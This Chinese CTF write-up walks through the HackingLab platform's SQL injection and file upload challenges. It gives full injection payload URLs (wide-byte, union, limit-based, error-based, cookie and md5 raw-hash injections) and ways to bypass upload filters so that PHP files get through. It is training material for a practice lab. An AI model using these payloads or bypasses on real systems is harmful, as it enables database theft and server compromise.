HackingLab注入关和上传关的攻略
前言
本人也是第一次写这种CTF的writeup,可能会存在一定的错误和遗漏之处,本攻略主要是提供解体思路,尽量会避免直接显示答案,请各位见谅,但是如果有一些直接显示在响应包中的key,本攻略则会直接显示。以下攻略部分代码和思路引用自其他人的博客或者网站,大部分以注明出处,如有遗漏,烦请告知,谢谢~
更新时间为2017.01.09,所有关卡题目攻略皆已补全
作者:古月蓝旻
注入关
部分思路引用自
黑吧安全网的
hackinglab注入关writeup
40huo的
HackingLab 注入关 writeup
Q1:
最简单的SQL注入
分值: 100
Tips题目里有简单提示
进去之后就是最常见的登陆框,查看一下源码,发现里面有提示
<!-- Tips login as admin-->
以admin的身份登陆
密码我们是不知道的,加上有验证码,但是本关的标题是最简单的注入,而强行爆破就不是注入了,最简单的注入无非就是使用一些万能密码注入,经过测试
用户名处提交
admin' or 'a'='a
admin' or 1=1#
admin' or 'a'='a'#
等等,密码随意,验证码写对就ok了
Q2:
最简单的SQL注入(熟悉注入环境)
分值: 100
最简单的SQL注入
回答第二题的时候提示需要登陆,那么前往左侧导航栏--子系统--题目平台登陆即可
点进去之后发现除了两行文字什么都没有啊,
url为http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php
既然是两行文字做成静态页面html好不好?为什么要做成php?
还是看一下页面源码,发现提示
tips: id=1
我们把这个加到index.php后面吧
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1
访问一下发现页面没有任何变化,但是至少页面没有报错,说明页面是存在的
尝试一下N年前测试注入点的老方法吧
添加 or 1=1
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1
然后key就出来了。。。
Q3:
防注入
分值: 300
小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!
flag是随机序列
提示还是id=1
拿Q2的方法尝试了一下,结果当然不可能成功
讲道理,第二题和第三题的难度差距还是不小的
首先简单说一下,在注入中非常重要的一个符号就是单引号'(url编码为%27),文能报错数据库语句,武可闭合属性值单引。不管是sql注入,xss里都少不了它
在php专门有一些机制去防御它,包括addslashes()函数,魔术字符开关magic_quotes_gpc
,mysql_escape_string()函数等等,当然,这些机制或多或少都存在绕过的方法
而本题中,虽然提到了防注入,但既然是一道题目,那就是说还是存在绕过的漏洞的
使用burp抓个响应包
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 05 Jan 2017 07:37:37 GMT
Cache-Control: no-store
Content-Type: text/html; charset=gb2312
Pragma: no-cache
Via: 2153
X-Daa-Tunnel: hop_count=1
Content-Length: 242
<html>
<head>
<title>SQLi4_article</title>
</head>
<body> <div>
<h2>blog system</h2>
<div class="content">my blog test</div>
</div>
</body>
</html>
<!-- tips: id=1
而Q2抓的响应包是这样
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 05 Jan 2017 07:26:42 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 2126
X-Daa-Tunnel: hop_count=1
Content-Length: 488
<html>
<head>
<title>SQLi3_article</title>
</head>
<body> <div>
<h2>文章管理系统</h2>
<div class="content">文章管理系统测试</div>
</div>
</body>
</html>
<!-- tips: id=1
2015: 另外:通过前两个SQL注入题基本了解题目架构(SAE+RDS),有些注入在云环境下会有些不同之处
2016/04/30 现在迁移到普通mysql数据库,其他题目mysql均与该题目环境相同或类似
内容不看了,就看响应头有什么区别吧,可以发现
Q3:Content-Type: text/html; charset=gb2312
Q2:Content-Type: text/html; charset=utf-8
字符集不一样,本题是gb2312编码,而gb2312和gbk等汉字编码一个字符占据两个字节,被称为宽字符(宽字节)编码
,而utf-8一个字符占据1到4个字节不等,属于可变长字符编码
而宽字符配合php的一些缺陷安全函数,就存在宽字符(宽字节)注入漏洞,详细情况见91ri的一篇科普文
所以我们可以尝试使用宽字符注入来测试一下能否绕过防注入
首先测试一下
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df'
报错了,报错是好事,可以尝试手工注入五部曲了,使用Hackbar进行操作
1.判断字段长度
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' order by 3 %23
发现字段长度3的时候显示空白,4的时候报错,字段就是3了
2.报显示位
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,3 %23
得到显示位2,3,那么两个字段都可以拿来显示数据啦
3.报数据库表名
将字段2替换成表查询语句
select group_concat(table_name) from information_schema.tables where table_schema=database()
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23
数据库名为:sae_user_sqli4
4.报列名
将字段2替换成列查询语句,记得刚刚查到的表名转成hex值,不然数据库不认识
sae_user_sqli4的hex值为0x7361655f757365725f73716c6934
(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934)
语句如下
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934),3 %23
报出了3个字段名
id,title_1,content_1
5.拿数据
union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
语句如下
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
拿flag走人
Q4:
到底能不能回显
分值: 350
小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?
审题是非常有必要的,然后我们发现和上一关相对比,小明在闯这关之前做了一个成功的变性手术。。。
嗯,其实题干很好,说出了sql注入的本质,然后本题提示了limit,这就是limit注入,推荐一篇科普文
方法适用于MySQL5.x版本,limit配合procedure analyse()函数,procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型
点进去看一下,url是
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
有两个参数start和num,通过修改start参数的数值,我们发现显示的语句也是不一样的,那么突破口应该就在start参数了
根据上一篇科普文,我们构造如下语句进行测试
1.报数据库表名
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23 &num=1 %23
出article和user表
2.报列名
分别去两个表看一下
记得还是需要将表名字符串转hex值
感觉user表的可能性更大啊
user的hex为0x75736572
语句如下
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23 &num=1 %23
报出字段
id,username,password,lastloginI
3.查询username字段有哪些值
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username) from user))),1)%23 &num=1 %23
出现user,admin,flag
胜利在望啊
4.查username为flag的password呗
注意还是要把flag字符串转hex
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23 &num=1 %23
拿到flag!
顺便一提,本题的flag在user表里哦
Q5:
邂逅
分值: 350
小明今天出门看见了一个漂亮的帅哥和漂亮的美女,于是他写到了他的日记本里。
看来小明同学男女通杀啊...
点开之后
漂亮妹纸
今天遇到了一个好帅好帅的帅哥,真漂亮,于是我偷拍了一张她的照片
然后配了一张狗图。。。人模狗样,女扮男装?
一开始毫无思路,源码还是提示id=1,应该不是这个,后来查了很多,发现是一个图片注入,不过对于页面内图片的请求burp抓不到,自己手动改一下burp的GET为图片地址吧,dog1.jpg存在宽字节注入,提交dog%df'1.jpg可以证明,响应包返回结果如下
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 05 Jan 2017 09:27:23 GMT
Cache-Control: no-store
Last-Modified: Thu, 05 Jan 2017 09:20:00 GMT
Content-Type: image/jpeg
Content-Length: 346
Pragma: no-cache
Via: 15147
X-Daa-Tunnel: hop_count=1
X-Cache-Lookup: Hit From Upstream
X-Cache-Lookup: Hit From Upstream
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.jpg'' at line 1<br />
<b>Warning</b>: mysql_fetch_row() expects parameter 1 to be resource, boolean given in <b>sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/myimages1.php</b> on line <b>18</b><br />
果然报错,然后就是使用burp进行常规注入了
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20order%20by%205%23 HTTP/1.1
//看显示位,3
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,3,4%23 HTTP/1.1
//当前数据库 mydbs
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,database(),4%23 HTTP/1.1
//看表名 article pic
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,group_concat(table_name),4%20from%20information_schema.tables%20where%20table_schema=0x6d79646273%23 HTTP/1.1
//看字段 article表id,title,content,others pic表id,picname,data,text
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,group_concat(column_name),4%20from%20information_schema.columns%20where%20table_name=0x61727469636c65%23 HTTP/1.1
//查看picname dog1.jpg,cat1.jpg,flagishere_askldjfklasjdfl.jpg
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%df%27%20union%20select%201,2,group_concat(picname),4%20from%20pic%23 HTTP/1.1
最后提示有flagishere_askldjfklasjdfl.jpg,名字起这么长就是防止某些人瞎猫碰上死老鼠访问到了,或者被字典猜到了
访问
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg
拿到flag
Q6:
ErrorBased
分值: 150
本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
该题目需要在题目平台登录
题目考察的是基于错误的sql注入,切记flag中不带key和#
基于错误的注入相关的资料很多,就不赘述了
推荐一篇文章
MySQL暴错注入方法整理
然后构造如下语句
//看数据库版本 5.1.73
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//看当前用户 saeuser@220.181.129.121
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//当前数据库 mydbs
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//爆库 information_schema, mydbs, test
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//爆表 log, motto, user
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//爆字段 id, username, password
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//读内容
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM user limit 0,1)))%23
//发现user表没有flag,读motto表
key#notfound!#
去掉key和#就是flag啦
顺便一提,本题的key在motto表里
log表的字段是id,username,time
Q7:
盲注
分值: 200
今天我们来学习一下盲注.小明的女朋友现在已经成了女黑阔,而小明还在每个月拿几k的收入,怎么养活女黑阔...........so:不要偷懒哦!
这道题我查了很久,都没有直接给出flag的,都说拿sqlmap 指定时间盲注即可,结果我至今没跑出来,手工测试的教程都很少有人制作,给出一个网址,里面的大哥已经跑了很多了,但是也没跑完
网络信息安全学习平台---注入关第7题
key在motto表里
看评论拿的flag
Q8:
SQL注入通用防护
分值: 250
小明写了一个博客系统,为了防注入,他上网找了一个SQL注入通用防护模块,GET/POST都过滤了哦!
我记得我第一次学注入的时候,视频教程的大哥说注入有3种,post方式,get方式,cookie注入,然后说cookie注入严格算post注入的一种。。。
既然过滤了get和post注入,那就cookie注入好了
使用burp抓请求包,Cookie字段添加;id=1'
GET /sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hackinglab.cn/ShowQues.php?type=sqlinject
Cookie: PHPSESSID=44e9440335d65737424131a3502b0e43;id=1'
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
报错啦,然后开始order by ,union select一路下去,最后可拿flag,不在赘述
Q9:
据说哈希后的密码是不能产生注入的
分值: 400
代码审计与验证
点开源码看一下
<?php
include "config.php";
if(isset($_GET['userid']) && isset($_GET['pwd'])){
$strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
$conn=mysql_connect($dbhost,$username,$pwd);
mysql_select_db($db,$conn);
$result=mysql_query($strsql);
print_r(mysql_error());
$row=mysql_fetch_array($result);
mysql_close($conn);
echo "<pre>";
print_r($row);
echo "</pre>";
if($row!=null){
echo "Flag: ".$flag;
}
}
else{
echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);
password使用md5()函数处理过,题目的标题也说了据说哈希后的密码是不能产生注入的
,那么注入点严格就在password
password='".md5($_GET['pwd'], true)
仔细查一下php中md5函数的参数含义
第二个可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
其实可以注入。
思路比较明确,当md5后的hex转换成字符串后,如果包含 'or'xxxx 这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'xxxx
很明显可以注入了。
难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。
提供一个字符串:ffifdyop
md5("ffifdyop"),276f722736c95d99e921722cf9ed621c
md5("ffifdyop",true): 'or'6?]??!r,??b
构造如下语句可拿flag
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
上传关
Q1:
请上传一张jpg格式的图片
分值: 100
只能上传jpg格式的图片哦~!
上传关套路很少的,关键就是突破网站限制,上传非jpg文件
提示只能上传jpg文件,如果你真的上传了一个jpg问题,网站将开启嘲讽模式
恩,真乖,您上传了一张jpg格式的图片!
查看一下页面源码,发现使用了JS来验证了用户上传文件后缀名,客户端验证永远只是辅助的
所以使用firebug或者burp删去onsubmit属性后面的return check()函数,然后上传一个非jpg文件即可
Q2:
请上传一张jpg格式的图片
分值: 150
只能是jpg哦!
查看上传页面源码发现,JS端验证已经取消,通过判断MIME来验证是否上传的是jpg文件
套路就是
先上传一个jpg文件,使用burp拦截,然后将请求中的filename一项中的jpg后缀名改成php即可
Q3:
请上传一张jpg格式的图片
分值: 150
只能是jpg哦!
题目和Q2一样,但是Q2的方法已经失效了,此时JS验证重回战场
<script>
function check(){
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[1];
if(ext==='jpg'){
return true;
}else{
alert("请上传一张JPG格式的图片!");
return false;
}
return false;
}
</script>
简单梳理一下逻辑,是通过截取文件最后的.后面的内容,如果是jpg则ok
既然只是验证最后的后缀名,那么绕过的方式就是上传xxx.php.jpg格式的文件就行了
还不快抢沙发